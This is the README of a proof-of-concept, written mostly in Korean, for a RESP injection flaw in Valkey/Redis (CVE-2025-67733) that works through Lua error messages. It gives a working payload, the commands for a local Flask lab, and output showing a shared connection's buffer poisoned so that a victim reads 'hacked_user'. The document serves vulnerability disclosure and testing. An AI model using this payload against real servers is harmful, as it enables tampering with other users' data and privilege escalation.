
Redis/Valkey RESP Injection PoC (CVE-2025-67733)
Valkey/Redis에서 Lua 스크립트 오류 메시지를 통한 RESP 프로토콜 인젝션 취약점을 시연하는 개념 증명(PoC)입니다.
공유 Valkey 연결(커넥션 풀링)을 사용하는 웹 애플리케이션을 시뮬레이션하는 Flask 백엔드.
엔드포인트:
| 메서드 | 엔드포인트 | 설명 |
|---|---|---|
| POST | /api/user/role | 사용자 역할 설정 |
| GET | /api/user/role | 사용자 역할 조회 |
| POST | /api/process | Lua 스크립트 실행 |
사용법:
python backend.py <Valkey host> <Valkey port> [password]
# Examples
python backend.py 127.0.0.1 6379
python backend.py 127.0.0.1 6379 mypassword
Lua 스크립트 오류 메시지를 통해 소켓 버퍼에 악의적인 RESP 데이터를 주입합니다.
페이로드:
error(redis.error_reply("INJECTED\r\n$11\r\nhacked_user"))
사용법:
python attacker_client.py
사용자 역할을 설정하고 조회하는 정상적인 클라이언트.
사용법:
python victim_client.py set # Set role to "normal_user"
python victim_client.py get # Get current role
pip install flask requests
터미널 1 - 백엔드 시작:
python backend.py 127.0.0.1 6379
터미널 2 - 역할 설정:
python victim_client.py set
# Output: 'role':'normal_user' has been set.
python victim_client.py get
# Output: 'role':'normal_user'
터미널 3 - 공격:
python attacker_client.py
# Output: Socket poisoning successful
터미널 2 - 역할 조회 (공격 후):
python victim_client.py get
# Output: 'role':'hacked_user'
1. 피해자가 역할 설정
victim_client.py set --> backend --> Valkey
SET user:user:role "normal_user"
2. 공격자가 페이로드 주입
attacker_client.py --> backend --> Valkey
EVAL 'error(...)' 0
백엔드가 읽음: "-ERR INJECTED\r\n"
버퍼에 남은 것: "$11\r\nhacked_user"
3. 피해자가 역할 조회
victim_client.py get --> backend --> Valkey
GET user:user:role
백엔드가 버퍼에서 읽음: "$11\r\nhacked_user"
피해자가 받음: "hacked_user"